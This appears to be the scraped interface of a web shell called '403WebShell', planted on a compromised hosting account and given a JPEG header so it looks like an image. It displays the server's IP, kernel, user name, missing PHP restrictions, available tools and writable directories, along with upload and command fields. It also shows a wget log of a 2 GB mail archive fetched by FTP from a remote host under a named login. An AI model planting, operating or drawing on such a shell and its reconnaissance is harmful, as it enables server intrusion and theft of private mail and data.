����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.15.5.184
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/wget-log
--2023-10-02 03:46:10--  ftp://131.153.147.98/mail.tar.gz
           => `131.153.147.98/.listing'
Connecting to 131.153.147.98:21... connected.
Logging in as greatli2 ... Logged in!
==> SYST ... done.    ==> PWD ... done.
==> TYPE I ... done.  ==> CWD not needed.
==> PASV ... done.    ==> LIST ... done.



2023-10-02 03:46:10 (1.11 MB/s) - `131.153.147.98/.listing' saved [3292]

--2023-10-02 03:46:10--  ftp://131.153.147.98/mail.tar.gz
           => `131.153.147.98/mail.tar.gz'
==> CWD not required.
==> PASV ... done.    ==> RETR mail.tar.gz ... done.
Length: 2182663650 (2.0G)


87% [=============================================================================>           ] 1,916,574,592 9.10M/s  eta 12s     
87% [=============================================================================>           ] 1,918,817,536 9.31M/s  eta 12s     
88% [=============================================================================>           ] 1,920,947,840 9.42M/s  eta 12s     
88% [=============================================================================>           ] 1,923,234,432 9.55M/s  eta 12s     
88% [=============================================================================>           ] 1,925,423,360 9.70M/s  eta 12s     
88% [=============================================================================>           ] 1,927,691,648 9.80M/s  eta 12s     
88% [=============================================================================>           ] 1,929,885,824 9.90M/s  eta 11s     
88% [=============================================================================>           ] 1,932,168,192 10.1M/s  eta 11s     
88% [=============================================================================>           ] 1,934,212,096 10.0M/s  eta 11s     
88% [=============================================================================>           ] 1,936,704,768 10.2M/s  eta 11s     
88% [==============================================================================>          ] 1,938,747,776 10.2M/s  eta 11s     
88% [==============================================================================>          ] 1,941,242,752 10.3M/s  eta 11s     
89% [==============================================================================>          ] 1,943,284,352 10.3M/s  eta 11s     
89% [==============================================================================>          ] 1,945,775,104 10.4M/s  eta 11s     
89% [==============================================================================>          ] 1,947,811,072 10.4M/s  eta 11s     
89% [==============================================================================>          ] 1,950,318,720 10.5M/s  eta 11s     
89% [==============================================================================>          ] 1,952,347,648 10.5M/s  eta 10s     
89% [==============================================================================>          ] 1,954,879,232 10.6M/s  eta 10s     
89% [==============================================================================>          ] 1,956,896,896 10.5M/s  eta 10s     
89% [==============================================================================>          ] 1,959,405,952 10.6M/s  eta 10s     
89% [==============================================================================>          ] 1,961,445,632 10.5M/s  eta 10s     
89% [===============================================================================>         ] 1,963,950,976 10.6M/s  eta 10s     
90% [===============================================================================>         ] 1,965,981,312 10.6M/s  eta 10s     
90% [===============================================================================>         ] 1,968,479,104 10.7M/s  eta 10s     
90% [===============================================================================>         ] 1,970,537,600 10.6M/s  eta 10s     
90% [===============================================================================>         ] 1,972,872,064 10.7M/s  eta 10s     
90% [===============================================================================>         ] 1,975,091,072 10.6M/s  eta 10s     
90% [===============================================================================>         ] 1,977,400,576 10.7M/s  eta 10s     
90% [===============================================================================>         ] 1,979,668,480 10.6M/s  eta 10s     
90% [===============================================================================>         ] 1,981,891,200 10.7M/s  eta 10s     
90% [===============================================================================>         ] 1,984,264,192 10.6M/s  eta 10s     
91% [================================================================================>        ] 1,986,481,792 10.6M/s  eta 9s      
91% [================================================================================>        ] 1,988,878,208 10.6M/s  eta 9s      
91% [================================================================================>        ] 1,991,107,072 10.7M/s  eta 9s      
91% [================================================================================>        ] 1,993,427,456 10.7M/s  eta 9s      
91% [================================================================================>        ] 1,995,660,032 10.7M/s  eta 9s      
91% [================================================================================>        ] 1,998,013,312 10.7M/s  eta 9s      
91% [================================================================================>        ] 2,000,506,880 10.7M/s  eta 9s      
91% [================================================================================>        ] 2,002,762,496 10.7M/s  eta 9s      
91% [================================================================================>        ] 2,005,291,264 10.8M/s  eta 9s      
91% [================================================================================>        ] 2,007,577,344 10.8M/s  eta 9s      
92% [================================================================================>        ] 2,009,798,272 10.8M/s  eta 8s      
92% [=================================================================================>       ] 2,011,942,656 10.8M/s  eta 8s      
92% [=================================================================================>       ] 2,014,779,776 10.9M/s  eta 8s      
92% [=================================================================================>       ] 2,017,011,456 10.8M/s  eta 8s      
92% [=================================================================================>       ] 2,019,596,544 10.9M/s  eta 8s      
92% [=================================================================================>       ] 2,022,523,776 11.1M/s  eta 8s      
92% [=================================================================================>       ] 2,024,870,912 11.1M/s  eta 8s      
92% [=================================================================================>       ] 2,027,572,352 11.2M/s  eta 8s      
93% [=================================================================================>       ] 2,030,321,280 11.3M/s  eta 8s      
93% [=================================================================================>       ] 2,033,248,512 11.5M/s  eta 8s      
93% [==================================================================================>      ] 2,035,937,792 11.6M/s  eta 7s      
93% [==================================================================================>      ] 2,038,869,248 11.7M/s  eta 7s      
93% [==================================================================================>      ] 2,041,784,704 11.9M/s  eta 7s      
93% [==================================================================================>      ] 2,044,975,744 12.1M/s  eta 7s      
93% [==================================================================================>      ] 2,047,855,104 12.2M/s  eta 7s      
93% [==================================================================================>      ] 2,051,099,136 12.8M/s  eta 6s      
94% [==================================================================================>      ] 2,052,965,632 12.6M/s  eta 6s      
94% [==================================================================================>      ] 2,055,738,880 12.6M/s  eta 6s      
94% [==================================================================================>      ] 2,058,446,080 12.6M/s  eta 6s      
94% [===================================================================================>     ] 2,061,124,096 12.7M/s  eta 6s      
94% [===================================================================================>     ] 2,063,378,304 12.7M/s  eta 6s      
94% [===================================================================================>     ] 2,065,990,144 12.7M/s  eta 6s      
94% [===================================================================================>     ] 2,068,531,584 12.7M/s  eta 6s      
94% [===================================================================================>     ] 2,071,227,904 12.6M/s  eta 6s      
95% [===================================================================================>     ] 2,073,658,112 12.6M/s  eta 6s      
95% [===================================================================================>     ] 2,076,583,424 12.6M/s  eta 5s      
95% [===================================================================================>     ] 2,079,078,400 12.5M/s  eta 5s      
95% [===================================================================================>     ] 2,081,760,640 12.5M/s  eta 5s      
95% [====================================================================================>    ] 2,084,826,368 12.5M/s  eta 5s      
95% [====================================================================================>    ] 2,087,497,344 12.5M/s  eta 5s      
95% [====================================================================================>    ] 2,090,291,712 12.4M/s  eta 4s      
95% [====================================================================================>    ] 2,093,433,472 12.4M/s  eta 4s      
96% [====================================================================================>    ] 2,096,288,896 12.6M/s  eta 4s      
96% [====================================================================================>    ] 2,099,499,136 12.5M/s  eta 4s      
96% [====================================================================================>    ] 2,102,401,024 12.8M/s  eta 4s      
96% [====================================================================================>    ] 2,105,415,552 13.0M/s  eta 4s      
96% [====================================================================================>    ] 2,108,617,344 13.2M/s  eta 4s      
96% [=====================================================================================>   ] 2,111,600,896 13.3M/s  eta 4s      
96% [=====================================================================================>   ] 2,114,885,760 13.5M/s  eta 4s      
97% [=====================================================================================>   ] 2,117,904,512 13.6M/s  eta 4s      
97% [=====================================================================================>   ] 2,121,011,968 13.8M/s  eta 3s      
97% [=====================================================================================>   ] 2,124,271,488 14.2M/s  eta 3s      
97% [=====================================================================================>   ] 2,127,300,096 14.2M/s  eta 3s      
97% [=====================================================================================>   ] 2,130,582,144 14.3M/s  eta 3s      
97% [======================================================================================>  ] 2,133,620,096 14.4M/s  eta 3s      
97% [======================================================================================>  ] 2,136,834,560 14.5M/s  eta 2s      
98% [======================================================================================>  ] 2,139,987,584 14.6M/s  eta 2s      
98% [======================================================================================>  ] 2,143,109,120 14.6M/s  eta 2s      
98% [======================================================================================>  ] 2,146,439,936 14.7M/s  eta 2s      
98% [======================================================================================>  ] 2,149,585,920 14.8M/s  eta 2s      
98% [======================================================================================>  ] 2,152,882,048 14.9M/s  eta 1s      
98% [======================================================================================>  ] 2,155,883,904 14.8M/s  eta 1s      
98% [=======================================================================================> ] 2,159,118,080 14.9M/s  eta 1s      
99% [=======================================================================================> ] 2,162,229,760 14.9M/s  eta 1s      
99% [=======================================================================================> ] 2,165,546,496 14.9M/s  eta 1s      
99% [=======================================================================================> ] 2,168,622,080 14.9M/s  eta 1s      
99% [=======================================================================================> ] 2,171,817,728 15.0M/s  eta 1s      
99% [=======================================================================================> ] 2,175,028,480 15.1M/s  eta 1s      
99% [=======================================================================================> ] 2,178,111,488 15.0M/s  eta 1s      
99% [=======================================================================================> ] 2,181,515,136 15.0M/s  eta 1s      
100%[========================================================================================>] 2,182,663,650 15.0M/s   in 1m 46s  

2023-10-02 03:47:56 (19.7 MB/s) - `131.153.147.98/mail.tar.gz' saved [2182663650]

FINISHED --2023-10-02 03:47:56--
Downloaded: 2 files, 2.0G in 1m 46s (19.7 MB/s)

Youez - 2016 - github.com/yon3zu
LinuXploit